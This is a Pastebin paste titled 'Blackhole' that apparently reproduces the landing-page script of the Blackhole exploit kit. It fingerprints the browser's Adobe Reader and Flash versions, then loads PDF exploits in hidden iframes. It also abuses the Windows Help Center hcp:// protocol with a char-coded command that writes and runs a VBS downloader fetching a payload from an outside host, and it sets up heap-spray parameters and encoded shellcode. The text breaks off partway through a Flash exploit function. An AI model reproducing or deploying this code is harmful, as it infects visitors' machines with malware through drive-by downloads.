SHARE
TWEET

Blackhole

a guest May 3rd, 2013 14 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. document.write('<center><h1>Please wait page is loading...</h1></center><hr>');
  2. function end_redirect() {}
  3. var pdfver = [0, 0, 0, 0], flashver = [0, 0, 0, 0];
  4. try {
  5.     var PluginDetect = {
  6.         version: "0.7.6",
  7.         name: "PluginDetect",
  8.         handler: function(c, b, a) {
  9.             return function() {
  10.                 c(b, a)
  11.             }
  12.         },
  13.         isDefined: function(b) {
  14.             return typeof b != "undefined"
  15.         },
  16.         isArray: function(b) {
  17.             return(/array/i).test(Object.prototype.toString.call(b))
  18.         },
  19.         isFunc: function(b) {
  20.             return typeof b == "function"
  21.         },
  22.         isString: function(b) {
  23.             return typeof b == "string"
  24.         },
  25.         isNum: function(b) {
  26.             return typeof b == "number"
  27.         },
  28.         isStrNum: function(b) {
  29.             return(typeof b == "string" && (/\d/).test(b))
  30.         },
  31.         getNumRegx: /[\d][\d\.\_,-]*/,
  32.         splitNumRegx: /[\.\_,-]/g,
  33.         getNum: function(b, c) {
  34.             var d = this, a = d.isStrNum(b) ? (d.isDefined(c) ? new RegExp(c) : d.getNumRegx).exec(b) : null;
  35.             return a ? a[0] : null
  36.         },
  37.         compareNums: function(h, f, d) {
  38.             var e = this, c, b, a, g = parseInt;
  39.             if (e.isStrNum(h) && e.isStrNum(f)) {
  40.                 if (e.isDefined(d) && d.compareNums) {
  41.                     return d.compareNums(h, f)
  42.                 }
  43.                 c = h.split(e.splitNumRegx);
  44.                 b = f.split(e.splitNumRegx);
  45.                 for (a = 0; a < Math.min(c.length, b.length); a++) {
  46.                     if (g(c[a], 10) > g(b[a], 10)) {
  47.                         return 1
  48.                     }
  49.                     if (g(c[a], 10) < g(b[a], 10)) {
  50.                         return - 1
  51.                     }
  52.                 }
  53.             }
  54.             return 0
  55.         },
  56.         formatNum: function(b, c) {
  57.             var d = this, a, e;
  58.             if (!d.isStrNum(b)) {
  59.                 return null
  60.             }
  61.             if (!d.isNum(c)) {
  62.                 c = 4
  63.             }
  64.             c--;
  65.             e = b.replace(/\s/g, "").split(d.splitNumRegx).concat(["0", "0", "0", "0"]);
  66.             for (a = 0; a < 4; a++) {
  67.                 if (/^(0+)(.+)$/.test(e[a])) {
  68.                     e[a] = RegExp.$2
  69.                 }
  70.                 if (a > c || !(/\d/).test(e[a])) {
  71.                     e[a] = "0"
  72.                 }
  73.             }
  74.             return e.slice(0, 4).join(",")
  75.         },
  76.         $$hasMimeType: function(a) {
  77.             return function(d) {
  78.                 if (!a.isIE && d) {
  79.                     var c, b, e, f = a.isString(d) ? [d] : d;
  80.                     if (!f || !f.length) {
  81.                         return null
  82.                     }
  83.                     for (e = 0; e < f.length; e++) {
  84.                         if (/[^\s]/.test(f[e]) && (c = navigator.mimeTypes[f[e]]) && (b = c.enabledPlugin) && (b.name || b.description)) {
  85.                             return c
  86.                         }
  87.                     }
  88.                 }
  89.                 return null
  90.             }
  91.         },
  92.         findNavPlugin: function(l, e, c) {
  93.             var j = this, h = new RegExp(l, "i"), d = (!j.isDefined(e) || e) ? /\d/ : 0, k = c ? new RegExp(c, "i") : 0, a = navigator.plugins, g = "", f, b, m;
  94.             for (f = 0; f < a.length; f++) {
  95.                 m = a[f].description || g;
  96.                 b = a[f].name || g;
  97.                 if ((h.test(m) && (!d || d.test(RegExp.leftContext + RegExp.rightContext))) || (h.test(b) && (!d || d.test(RegExp.leftContext + RegExp.rightContext)))) {
  98.                     if (!k || !(k.test(m) || k.test(b))) {
  99.                         return a[f]
  100.                     }
  101.                 }
  102.             }
  103.             return null
  104.         },
  105.         getMimeEnabledPlugin: function(k, m, c) {
  106.             var e = this, f, b = new RegExp(m, "i"), h = "", g = c ? new RegExp(c, "i") : 0, a, l, d, j = e.isString(k) ? [k] : k;
  107.             for (d = 0; d < j.length; d++) {
  108.                 if ((f = e.hasMimeType(j[d])) && (f = f.enabledPlugin)) {
  109.                     l = f.description || h;
  110.                     a = f.name || h;
  111.                     if (b.test(l) || b.test(a)) {
  112.                         if (!g || !(g.test(l) || g.test(a))) {
  113.                             return f
  114.                         }
  115.                     }
  116.                 }
  117.             }
  118.             return 0
  119.         },
  120.         getPluginFileVersion: function(f, b) {
  121.             var h = this, e, d, g, a, c = -1;
  122.             if (h.OS > 2 || !f || !f.version || !(e = h.getNum(f.version))) {
  123.                 return b
  124.             }
  125.             if (!b) {
  126.                 return e
  127.             }
  128.             e = h.formatNum(e);
  129.             b = h.formatNum(b);
  130.             d = b.split(h.splitNumRegx);
  131.             g = e.split(h.splitNumRegx);
  132.             for (a = 0; a < d.length; a++) {
  133.                 if (c > -1 && a > c && d[a] != "0") {
  134.                     return b
  135.                 }
  136.                 if (g[a] != d[a]) {
  137.                     if (c == -1) {
  138.                         c = a
  139.                     }
  140.                     if (d[a] != "0") {
  141.                         return b
  142.                     }
  143.                 }
  144.             }
  145.             return e
  146.         },
  147.         AXO: window.ActiveXObject,
  148.         getAXO: function(a) {
  149.             var f = null, d, b = this, c = {};
  150.             try {
  151.                 f = new b.AXO(a)
  152.             }
  153.             catch (d) {}
  154.             return f
  155.         },
  156.         convertFuncs: function(g) {
  157.             var a, h, f, b = /^[\$][\$]/, d = {}, c = this;
  158.             for (a in g) {
  159.                 if (b.test(a)) {
  160.                     d[a] = 1
  161.                 }
  162.             }
  163.             for (a in d) {
  164.                 try {
  165.                     h = a.slice(2);
  166.                     if (h.length > 0 && !g[h]) {
  167.                         g[h] = g[a](g);
  168.                         delete g[a]
  169.                     }
  170.                 }
  171.                 catch (f) {}
  172.             }
  173.         },
  174.         initScript: function() {
  175.             var c = this, a = navigator, e = "/", i = a.userAgent || "", g = a.vendor || "", b = a.platform || "", h = a.product || "";
  176.             if (c.file) {
  177.                 c.file.$ = c
  178.             }
  179.             if (c.verify) {
  180.                 c.verify.$ = c
  181.             };
  182.             c.OS = 100;
  183.             if (b) {
  184.                 var f, d = ["Win", 1, "Mac", 2, "Linux", 3, "FreeBSD", 4, "iPhone", 21.1, "iPod", 21.2, "iPad", 21.3, "Win.*CE", 22.1, "Win.*Mobile", 22.2, "Pocket\\s*PC", 22.3, "", 100];
  185.                 for (f = d.length - 2; f >= 0; f = f - 2) {
  186.                     if (d[f] && new RegExp(d[f], "i").test(b)) {
  187.                         c.OS = d[f + 1];
  188.                         break
  189.                     }
  190.                 }
  191.             }
  192.             c.convertFuncs(c);
  193.             c.isIE = new Function("return " + e + "*@cc_on!@*" + e + "false")();
  194.             c.verIE = c.isIE && (/MSIE\s*(\d+\.?\d*)/i).test(i) ? parseFloat(RegExp.$1, 10) : null;
  195.             c.ActiveXEnabled = false;
  196.             if (c.isIE) {
  197.                 var f, j = ["Msxml2.XMLHTTP", "Msxml2.DOMDocument", "Microsoft.XMLDOM", "ShockwaveFlash.ShockwaveFlash", "TDCCtl.TDCCtl", "Shell.UIHelper", "Scripting.Dictionary", "wmplayer.ocx"];
  198.                 for (f = 0; f < j.length; f++) {
  199.                     if (c.getAXO(j[f])) {
  200.                         c.ActiveXEnabled = true;
  201.                         break
  202.                     }
  203.                 }
  204.                 c.head = c.isDefined(document.getElementsByTagName) ? document.getElementsByTagName("head")[0] : null
  205.             }
  206.             c.isGecko = (/Gecko/i).test(h) && (/Gecko\s*\/\s*\d/i).test(i);
  207.             c.verGecko = c.isGecko ? c.formatNum((/rv\s*\:\s*([\.\,\d]+)/i).test(i) ? RegExp.$1 : "0.9") : null;
  208.             c.isSafari = (/Safari\s*\/\s*\d/i).test(i) && (/Apple/i).test(g);
  209.             c.isChrome = (/Chrome\s*\/\s*(\d[\d\.]*)/i).test(i);
  210.             c.verChrome = c.isChrome ? c.formatNum(RegExp.$1) : null;
  211.             c.isOpera = (/Opera\s*[\/]?\s*(\d+\.?\d*)/i).test(i);
  212.             c.verOpera = c.isOpera && ((/Version\s*\/\s*(\d+\.?\d*)/i).test(i) || 1) ? parseFloat(RegExp.$1, 10) : null;
  213.             c.addWinEvent("load", c.handler(c.runWLfuncs, c))
  214.         },
  215.         init: function(c) {
  216.             var b = this, a, c;
  217.             if (!b.isString(c)) {
  218.                 return - 3
  219.             }
  220.             if (c.length == 1) {
  221.                 b.getVersionDelimiter = c;
  222.                 return - 3
  223.             }
  224.             c = c.toLowerCase().replace(/\s/g, "");
  225.             a = b[c];
  226.             if (!a || !a.getVersion) {
  227.                 return - 3
  228.             }
  229.             b.plugin = a;
  230.             if (!b.isDefined(a.installed)) {
  231.                 a.installed = a.version = a.version0 = a.getVersionDone = null;
  232.                 a.$ = b;
  233.                 a.pluginName = c
  234.             }
  235.             b.garbage = false;
  236.             if (b.isIE && !b.ActiveXEnabled) {
  237.                 if (a !== b.java) {
  238.                     return - 2
  239.                 }
  240.             }
  241.             return 1
  242.         },
  243.         fPush: function(b, a) {
  244.             var c = this;
  245.             if (c.isArray(a) && (c.isFunc(b) || (c.isArray(b) && b.length > 0 && c.isFunc(b[0])))) {
  246.                 a.push(b)
  247.             }
  248.         },
  249.         callArray: function(b) {
  250.             var c = this, a;
  251.             if (c.isArray(b)) {
  252.                 for (a = 0; a < b.length; a++) {
  253.                     if (b[a] === null) {
  254.                         return
  255.                     }
  256.                     c.call(b[a]);
  257.                     b[a] = null
  258.                 }
  259.             }
  260.         },
  261.         call: function(c) {
  262.             var b = this, a = b.isArray(c) ? c.length : -1;
  263.             if (a > 0 && b.isFunc(c[0])) {
  264.                 c[0](b, a > 1 ? c[1] : 0, a > 2 ? c[2] : 0, a > 3 ? c[3] : 0)
  265.             }
  266.             else {
  267.                 if (b.isFunc(c)) {
  268.                     c(b)
  269.                 }
  270.             }
  271.         },
  272.         getVersionDelimiter: ",",
  273.         $$getVersion: function(a) {
  274.             return function(g, d, c) {
  275.                 var e = a.init(g), f, b, h = {};
  276.                 if (e < 0) {
  277.                     return null
  278.                 };
  279.                 f = a.plugin;
  280.                 if (f.getVersionDone != 1) {
  281.                     f.getVersion(null, d, c);
  282.                     if (f.getVersionDone === null) {
  283.                         f.getVersionDone = 1
  284.                     }
  285.                 }
  286.                 a.cleanup();
  287.                 b = (f.version || f.version0);
  288.                 b = b ? b.replace(a.splitNumRegx, a.getVersionDelimiter) : b;
  289.                 return b
  290.             }
  291.         },
  292.         cleanup: function() {}, addWinEvent: function(d, c) {
  293.             var e = this, a = window, b;
  294.             if (e.isFunc(c)) {
  295.                 if (a.addEventListener) {
  296.                     a.addEventListener(d, c, false)
  297.                 }
  298.                 else {
  299.                     if (a.attachEvent) {
  300.                         a.attachEvent("on" + d, c)
  301.                     }
  302.                     else {
  303.                         b = a["on" + d];
  304.                         a["on" + d] = e.winHandler(c, b)
  305.                     }
  306.                 }
  307.             }
  308.         },
  309.         winHandler: function(d, c) {
  310.             return function() {
  311.                 d();
  312.                 if (typeof c == "function") {
  313.                     c()
  314.                 }
  315.             }
  316.         },
  317.         WLfuncs0: [],
  318.         WLfuncs: [],
  319.         runWLfuncs: function(a) {
  320.             var b = {};
  321.             a.winLoaded = true;
  322.             a.callArray(a.WLfuncs0);
  323.             a.callArray(a.WLfuncs);
  324.             if (a.onDoneEmptyDiv) {
  325.                 a.onDoneEmptyDiv()
  326.             }
  327.         },
  328.         winLoaded: false,
  329.         $$onWindowLoaded: function(a) {
  330.             return function(b) {
  331.                 if (a.winLoaded) {
  332.                     a.call(b)
  333.                 }
  334.                 else {
  335.                     a.fPush(b, a.WLfuncs)
  336.                 }
  337.             }
  338.         },
  339.         div: null,
  340.         divID: "plugindetect",
  341.         divWidth: 50,
  342.         pluginSize: 1,
  343.         emptyDiv: function() {
  344.             var d = this, b, h, c, a, f, g;
  345.             if (d.div && d.div.childNodes) {
  346.                 for (b = d.div.childNodes.length - 1; b >= 0; b--) {
  347.                     c = d.div.childNodes[b];
  348.                     if (c && c.childNodes) {
  349.                         for (h = c.childNodes.length - 1; h >= 0; h--) {
  350.                             g = c.childNodes[h];
  351.                             try {
  352.                                 c.removeChild(g)
  353.                             }
  354.                             catch (f) {}
  355.                         }
  356.                     }
  357.                     if (c) {
  358.                         try {
  359.                             d.div.removeChild(c)
  360.                         }
  361.                         catch (f) {}
  362.                     }
  363.                 }
  364.             }
  365.             if (!d.div) {
  366.                 a = document.getElementById(d.divID);
  367.                 if (a) {
  368.                     d.div = a
  369.                 }
  370.             }
  371.             if (d.div && d.div.parentNode) {
  372.                 try {
  373.                     d.div.parentNode.removeChild(d.div)
  374.                 }
  375.                 catch (f) {}
  376.                 d.div = null
  377.             }
  378.         },
  379.         DONEfuncs: [],
  380.         onDoneEmptyDiv: function() {
  381.             var c = this, a, b;
  382.             if (!c.winLoaded) {
  383.                 return
  384.             }
  385.             if (c.WLfuncs && c.WLfuncs.length && c.WLfuncs[c.WLfuncs.length - 1] !== null) {
  386.                 return
  387.             }
  388.             for (a in c) {
  389.                 b = c[a];
  390.                 if (b && b.funcs) {
  391.                     if (b.OTF == 3) {
  392.                         return
  393.                     }
  394.                     if (b.funcs.length && b.funcs[b.funcs.length - 1] !== null) {
  395.                         return
  396.                     }
  397.                 }
  398.             }
  399.             for (a = 0; a < c.DONEfuncs.length; a++) {
  400.                 c.callArray(c.DONEfuncs)
  401.             }
  402.             c.emptyDiv()
  403.         },
  404.         getWidth: function(c) {
  405.             if (c) {
  406.                 var a = c.scrollWidth || c.offsetWidth, b = this;
  407.                 if (b.isNum(a)) {
  408.                     return a
  409.                 }
  410.             }
  411.             return - 1
  412.         },
  413.         getTagStatus: function(m, g, a, b) {
  414.             var c = this, f, k = m.span, l = c.getWidth(k), h = a.span, j = c.getWidth(h), d = g.span, i = c.getWidth(d);
  415.             if (!k || !h || !d || !c.getDOMobj(m)) {
  416.                 return - 2
  417.             }
  418.             if (j < i || l < 0 || j < 0 || i < 0 || i <= c.pluginSize || c.pluginSize < 1) {
  419.                 return 0
  420.             }
  421.             if (l >= i) {
  422.                 return - 1
  423.             }
  424.             try {
  425.                 if (l == c.pluginSize && (!c.isIE || c.getDOMobj(m).readyState == 4)) {
  426.                     if (!m.winLoaded && c.winLoaded) {
  427.                         return 1
  428.                     }
  429.                     if (m.winLoaded && c.isNum(b)) {
  430.                         if (!c.isNum(m.count)) {
  431.                             m.count = b
  432.                         }
  433.                         if (b - m.count >= 10) {
  434.                             return 1
  435.                         }
  436.                     }
  437.                 }
  438.             }
  439.             catch (f) {}
  440.             return 0
  441.         },
  442.         getDOMobj: function(g, a) {
  443.             var f, d = this, c = g ? g.span : 0, b = c && c.firstChild ? 1 : 0;
  444.             try {
  445.                 if (b && a) {
  446.                     c.firstChild.focus()
  447.                 }
  448.             }
  449.             catch (f) {}
  450.             return b ? c.firstChild : null
  451.         },
  452.         setStyle: function(b, g) {
  453.             var f = b.style, a, d, c = this;
  454.             if (f && g) {
  455.                 for (a = 0; a < g.length; a = a + 2) {
  456.                     try {
  457.                         f[g[a]] = g[a + 1]
  458.                     }
  459.                     catch (d) {}
  460.                 }
  461.             }
  462.         },
  463.         insertDivInBody: function(a, i) {
  464.             var h, f = this, b = "pd33993399", d = null, j = i ? window.top.document : window.document, c = "<", g = (j.getElementsByTagName("body")[0] || j.body);
  465.             if (!g) {
  466.                 try {
  467.                     j.write(c + 'div id="' + b + '">o' + c + "/div>");
  468.                     d = j.getElementById(b)
  469.                 }
  470.                 catch (h) {}
  471.             }
  472.             g = (j.getElementsByTagName("body")[0] || j.body);
  473.             if (g) {
  474.                 if (g.firstChild && f.isDefined(g.insertBefore)) {
  475.                     g.insertBefore(a, g.firstChild)
  476.                 }
  477.                 else {
  478.                     g.appendChild(a)
  479.                 }
  480.                 if (d) {
  481.                     g.removeChild(d)
  482.                 }
  483.             }
  484.             else {}
  485.         },
  486.         insertHTML: function(g, b, h, a, k) {
  487.             var l, m = document, j = this, p, o = m.createElement("span"), n, i, f = "<";
  488.             var c = ["outlineStyle", "none", "borderStyle", "none", "padding", "0px", "margin", "0px", "visibility", "visible"];
  489.             if (!j.isDefined(a)) {
  490.                 a = ""
  491.             }
  492.             if (j.isString(g) && (/[^\s]/).test(g)) {
  493.                 p = f + g + ' width="' + j.pluginSize + '" height="' + j.pluginSize + '" ';
  494.                 for (n = 0; n < b.length; n = n + 2) {
  495.                     if (/[^\s]/.test(b[n + 1])) {
  496.                         p += b[n] + '="' + b[n + 1] + '" '
  497.                     }
  498.                 }
  499.                 p += ">";
  500.                 for (n = 0; n < h.length; n = n + 2) {
  501.                     if (/[^\s]/.test(h[n + 1])) {
  502.                         p += f + 'param name="' + h[n] + '" value="' + h[n + 1] + '" />'
  503.                     }
  504.                 }
  505.                 p += a + f + "/" + g + ">"
  506.             }
  507.             else {
  508.                 p = a
  509.             }
  510.             if (!j.div) {
  511.                 i = m.getElementById(j.divID);
  512.                 if (i) {
  513.                     j.div = i
  514.                 }
  515.                 else {
  516.                     j.div = m.createElement("div");
  517.                     j.div.id = j.divID;
  518.                     j.insertDivInBody(j.div)
  519.                 }
  520.                 j.setStyle(j.div, c.concat(["width", j.divWidth + "px", "height", (j.pluginSize + 3) + "px", "fontSize", (j.pluginSize + 3) + "px", "lineHeight", (j.pluginSize + 3) + "px", "verticalAlign", "baseline", "display", "block"]));
  521.                 if (!i) {
  522.                     j.setStyle(j.div, ["position", "absolute", "right", "0px", "top", "0px"])
  523.                 }
  524.             }
  525.             if (j.div && j.div.parentNode) {
  526.                 j.div.appendChild(o);
  527.                 j.setStyle(o, c.concat(["fontSize", (j.pluginSize + 3) + "px", "lineHeight", (j.pluginSize + 3) + "px", "verticalAlign", "baseline", "display", "inline"]));
  528.                 try {
  529.                     if (o && o.parentNode) {
  530.                         o.focus()
  531.                     }
  532.                 }
  533.                 catch (l) {}
  534.                 try {
  535.                     o.innerHTML = p
  536.                 }
  537.                 catch (l) {}
  538.                 if (o.childNodes.length == 1 && !(j.isGecko && j.compareNums(j.verGecko, "1,5,0,0") < 0)) {
  539.                     j.setStyle(o.firstChild, c.concat(["display", "inline"]))
  540.                 }
  541.                 return {
  542.                     span: o,
  543.                     winLoaded: j.winLoaded,
  544.                     tagName: (j.isString(g) ? g : "")
  545.                 }
  546.             }
  547.             return {
  548.                 span: null,
  549.                 winLoaded: j.winLoaded,
  550.                 tagName: ""
  551.             }
  552.         },
  553.         flash: {
  554.             mimeType: "application/x-shockwave-flash",
  555.             progID: "ShockwaveFlash.ShockwaveFlash",
  556.             classID: "clsid:D27CDB6E-AE6D-11CF-96B8-444553540000",
  557.             getVersion: function() {
  558.                 var b = function(i) {
  559.                     if (!i) {
  560.                         return null
  561.                     }
  562.                     var e = /[\d][\d\,\.\s]*[rRdD]{0,1}[\d\,]*/.exec(i);
  563.                     return e ? e[0].replace(/[rRdD\.]/g, ",").replace(/\s/g, "") : null
  564.                 };
  565.                 var j = this, g = j.$, k, h, l = null, c = null, a = null, f, m, d;
  566.                 if (!g.isIE) {
  567.                     m = g.hasMimeType(j.mimeType);
  568.                     if (m) {
  569.                         f = g.getDOMobj(g.insertHTML("object", ["type", j.mimeType], [], "", j));
  570.                         try {
  571.                             l = g.getNum(f.GetVariable("$version"))
  572.                         }
  573.                         catch (k) {}
  574.                     }
  575.                     if (!l) {
  576.                         d = m ? m.enabledPlugin : null;
  577.                         if (d && d.description) {
  578.                             l = b(d.description)
  579.                         }
  580.                         if (l) {
  581.                             l = g.getPluginFileVersion(d, l)
  582.                         }
  583.                     }
  584.                 }
  585.                 else {
  586.                     for (h = 15; h > 2; h--) {
  587.                         c = g.getAXO(j.progID + "." + h);
  588.                         if (c) {
  589.                             a = h.toString();
  590.                             break
  591.                         }
  592.                     }
  593.                     if (!c) {
  594.                         c = g.getAXO(j.progID)
  595.                     }
  596.                     if (a == "6") {
  597.                         try {
  598.                             c.AllowScriptAccess = "always"
  599.                         }
  600.                         catch (k) {
  601.                             return "6,0,21,0"
  602.                         }
  603.                     }
  604.                     try {
  605.                         l = b(c.GetVariable("$version"))
  606.                     }
  607.                     catch (k) {}
  608.                     if (!l && a) {
  609.                         l = a
  610.                     }
  611.                 }
  612.                 j.installed = l ? 1 : -1;
  613.                 j.version = g.formatNum(l);
  614.                 return true
  615.             }
  616.         },
  617.         adobereader: {
  618.             mimeType: "application/pdf",
  619.             navPluginObj: null,
  620.             progID: ["AcroPDF.PDF", "PDF.PdfCtrl"],
  621.             classID: "clsid:CA8A9780-280D-11CF-A24D-444553540000",
  622.             INSTALLED: {}, pluginHasMimeType: function(d, c, f) {
  623.                 var b = this, e = b.$, a;
  624.                 for (a in d) {
  625.                     if (d[a] && d[a].type && d[a].type == c) {
  626.                         return 1
  627.                     }
  628.                 }
  629.                 if (e.getMimeEnabledPlugin(c, f)) {
  630.                     return 1
  631.                 }
  632.                 return 0
  633.             },
  634.             getVersion: function(l, j) {
  635.                 var g = this, d = g.$, i, f, m, n, b = null, h = null, k = g.mimeType, a, c;
  636.                 if (d.isString(j)) {
  637.                     j = j.replace(/\s/g, "");
  638.                     if (j) {
  639.                         k = j
  640.                     }
  641.                 }
  642.                 else {
  643.                     j = null
  644.                 }
  645.                 if (d.isDefined(g.INSTALLED[k])) {
  646.                     g.installed = g.INSTALLED[k];
  647.                     return
  648.                 }
  649.                 if (!d.isIE) {
  650.                     a = "Adobe.*PDF.*Plug-?in|Adobe.*Acrobat.*Plug-?in|Adobe.*Reader.*Plug-?in";
  651.                     if (g.getVersionDone !== 0) {
  652.                         g.getVersionDone = 0;
  653.                         b = d.getMimeEnabledPlugin(g.mimeType, a);
  654.                         if (!j) {
  655.                             n = b
  656.                         }
  657.                         if (!b && d.hasMimeType(g.mimeType)) {
  658.                             b = d.findNavPlugin(a, 0)
  659.                         }
  660.                         if (b) {
  661.                             g.navPluginObj = b;
  662.                             h = d.getNum(b.description) || d.getNum(b.name);
  663.                             h = d.getPluginFileVersion(b, h);
  664.                             if (!h && d.OS == 1) {
  665.                                 if (g.pluginHasMimeType(b, "application/vnd.adobe.pdfxml", a)) {
  666.                                     h = "9"
  667.                                 }
  668.                                 else {
  669.                                     if (g.pluginHasMimeType(b, "application/vnd.adobe.x-mars", a)) {
  670.                                         h = "8"
  671.                                     }
  672.                                 }
  673.                             }
  674.                         }
  675.                     }
  676.                     else {
  677.                         h = g.version
  678.                     }
  679.                     if (!d.isDefined(n)) {
  680.                         n = d.getMimeEnabledPlugin(k, a)
  681.                     }
  682.                     g.installed = n && h ? 1 : (n ? 0 : (g.navPluginObj ? -0.2 : -1))
  683.                 }
  684.                 else {
  685.                     b = d.getAXO(g.progID[0]) || d.getAXO(g.progID[1]);
  686.                     c = /=\s*([\d\.]+)/g;
  687.                     try {
  688.                         f = (b || d.getDOMobj(d.insertHTML("object", ["classid", g.classID], ["src", ""], "", g))).GetVersions();
  689.                         for (m = 0; m < 5; m++) {
  690.                             if (c.test(f) && (!h || RegExp.$1 > h)) {
  691.                                 h = RegExp.$1
  692.                             }
  693.                         }
  694.                     }
  695.                     catch (i) {}
  696.                     g.installed = h ? 1 : (b ? 0 : -1)
  697.                 }
  698.                 if (!g.version) {
  699.                     g.version = d.formatNum(h)
  700.                 }
  701.                 g.INSTALLED[k] = g.installed
  702.             }
  703.         },
  704.         zz: 0
  705.     };
  706.     PluginDetect.initScript();
  707.     PluginDetect.getVersion(".");
  708.     pdfver = PluginDetect.getVersion("AdobeReader");
  709.     flashver = PluginDetect.getVersion('Flash');
  710. }
  711. catch (e) {}
  712. if (typeof pdfver == 'string') {
  713.     pdfver = pdfver.split('.')
  714. }
  715. else {
  716.     pdfver = [0, 0, 0, 0]
  717. }
  718. if (typeof flashver == 'string') {
  719.     flashver = flashver.split('.')
  720. }
  721. else {
  722.     flashver = [0, 0, 0, 0]
  723. };
  724. exec7 = 1;
  725. function spl0() {
  726.     spl2()
  727. }
  728. function spl2() {
  729.     spl3()
  730. }
  731. function show_pdf(src) {
  732.     var pifr = document.createElement('IFRAME');
  733.     pifr.setAttribute('width', 1);
  734.     pifr.setAttribute('height', 1);
  735.     pifr.setAttribute('src', src);
  736.     document.body.appendChild(pifr)
  737. }
  738. function spl3() {
  739.     if (pdfver[0] > 0 && pdfver[0] < 8) {
  740.         exec7 = 0;
  741.         show_pdf('./content/ap1.php?f=cddc7')
  742.     }
  743.     else if ((pdfver[0] == 8) || (pdfver[0] == 9 && pdfver[1] <= 3)) {
  744.         exec7 = 0;
  745.         show_pdf('./content/ap2.php?f=cddc7')
  746.     }
  747.     spl4()
  748. }
  749. function spl4() {
  750.     try {
  751.         var o = document.createElement("OBJECT");
  752.         o.setAttribute("classid", "clsid:6BF52A52-394A-11d3-B153-00C04F79FAA6");
  753.         o.setAttribute("uiMode", "invisible");
  754.         if (parseInt(o.versionInfo) < 10) {
  755.             o.openPlayer('http://energirans.net/content/hcp_asx.php?f=cddc7')
  756.         }
  757.         else {
  758.             var m = document.createElement('iframe');
  759.             m.setAttribute('src', "hcp://services/search?query=anything&topic=hcp://system/sysinfo/sysinfomain…%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A..%5C..%5Csysinfomain.htm%u003fsvr=<scr" + "ipt defer>eval(Run(String.fromCharCode(99,109,100,32,47,99,32,101,99,104,111,32,66,61,34,108,46,118,98,115,34,58,87,105,116,104,32,67,114,101,97,116,101,79,98,106,101,99,116,40,34,77,83,88,77,76,50,46,88,77,76,72,84,84,80,34,41,58,46,111,112,101,110,32,34,71,69,84,34,44,34,104,116,116,112,58,47,47,101,110,101,114,103,105,114,97,110,115,46,110,101,116,47,99,111,110,116,101,110,116,47,104,99,112,95,118,98,115,46,112,104,112,63,102,61,99,100,100,99,55,38,100,61,48,34,44,102,97,108,115,101,58,46,115,101,110,100,40,41,58,83,101,116,32,65,32,61,32,67,114,101,97,116,101,79,98,106,101,99,116,40,34,83,99,114,105,112,116,105,110,103,46,70,105,108,101,83,121,115,116,101,109,79,98,106,101,99,116,34,41,58,83,101,116,32,68,61,65,46,67,114,101,97,116,101,84,101,120,116,70,105,108,101,40,65,46,71,101,116,83,112,101,99,105,97,108,70,111,108,100,101,114,40,50,41,32,43,32,34,92,34,32,43,32,66,41,58,68,46,87,114,105,116,101,76,105,110,101,32,46,114,101,115,112,111,110,115,101,84,101,120,116,58,69,110,100,32,87,105,116,104,58,68,46,67,108,111,115,101,58,67,114,101,97,116,101,79,98,106,101,99,116,40,34,87,83,99,114,105,112,116,46,83,104,101,108,108,34,41,46,82,117,110,32,65,46,71,101,116,83,112,101,99,105,97,108,70,111,108,100,101,114,40,50,41,32,43,32,34,92,34,32,43,32,66,32,62,32,37,84,69,77,80,37,92,92,108,46,118,98,115,32,38,38,32,37,84,69,77,80,37,92,92,108,46,118,98,115,32,38,38,32,116,97,115,107,107,105,108,108,32,47,70,32,47,73,77,32,104,101,108,112,99,116,114,46,101,120,101)));</scr" + "ipt>");
  760.             m.setAttribute('width', 0);
  761.             m.setAttribute('height', 0);
  762.             document.body['appendChild'](m)
  763.         }
  764.     }
  765.     catch (e) {}
  766.     spl5()
  767. }
  768. function getCN() {
  769.     return 'content/score.swf'
  770. }
  771. function getBlockSize() {
  772.     return 1024
  773. }
  774. function getAllocSize() {
  775.     return 1024 * 1024
  776. }
  777. function getAllocCount() {
  778.     return 300
  779. }
  780. function getFillBytes() {
  781.     var a = '%u' + '0c0c';
  782.     return a + a;
  783. }
  784. function getShellCode() {
  785.     return "%u4141%u4141%u8366%ufce4%uebfc%u5810%uc931%u8166%u56e9%u80fe%u2830%ue240%uebfa%ue805%uffeb%uffff%uccad%u1c5d%u77c1%ue81b%ua34c%u1868%u68a3%ua324%u3458%ua37e%u205e%uf31b%ua34e%u1476%u5c2b%u041b%uc6a9%u383d%ud7d7%ua390%u1868%u6eeb%u2e11%ud35d%u1caf%uad0c%u5dcc%uc179%u64c3%u7e79%u5da3%ua314%u1d5c%u2b50%u7edd%u5ea3%u2b08%u1bdd%u61e1%ud469%u2b85%u1bed%u27f3%u3896%uda10%u205c%ue3e9%u2b25%u68f2%ud9c3%u3713%uce5d%ua376%u0c76%uf52b%ua34e%u6324%u6ea5%ud7c4%u0c7c%ua324%u2bf0%ua3f5%ua32c%ued2b%u7683%ueb71%u7bc3%ua385%u0840%u55a8%u1b24%u2b5c%uc3be%ua3db%u2040%udfa3%u2d42%uc071%ud7b0%ud7d7%ud1ca%u28c0%u2828%u7028%u4278%u4068%u28d7%u2828%uab78%u31e8%u7d78%uc4a3%u76a3%uab38%u2deb%ucbd7%u4740%u2846%u4028%u5a5d%u4544%ud77c%uab3e%u20ec%uc0a3%u49c0%ud7d7%uc3d7%uc32a%ua95a%u2cc4%u2829%ua528%u0c74%uef24%u0c2c%u4d5a%u5b4f%u6cef%u2c0c%u5a5e%u1a1b%u6cef%u200c%u0508%u085b%u407b%u28d0%u2828%u7ed7%ua324%u1bc0%u79e1%u6cef%u2835%u585f%u5c4a%u6cef%u2d35%u4c06%u4444%u6cee%u2135%u7128%ue9a2%u182c%u6ca0%u2c35%u7969%u2842%u2842%u7f7b%u2842%u7ed7%uad3c%u5de8%u423e%u7b28%u7ed7%u422c%uab28%u24c3%ud77b%u2c7e%uebab%uc324%uc32a%u6f3b%u17a8%u5d28%u6fd2%u17a8%u5d28%u42ec%u4228%ud7d6%u207e%ub4c0%ud7d6%ua6d7%u2666%ub0c4%ua2d6%ua126%u2947%u1b95%ua2e2%u3373%u6eee%u1e51%u0732%u4058%u5c5c%u1258%u0707%u464d%u5a4d%u414f%u495a%u5b46%u4606%u5c4d%u5f07%u5806%u5840%u4e17%u4b15%u4c4c%u1f4b%u4d0e%u1915%u2828"
  786. }
  787. function spl5() {
  788.     var ver1 = flashver[0];
  789.     var ver2 = flashver[1];
  790.     var ver3 = flashver[2];
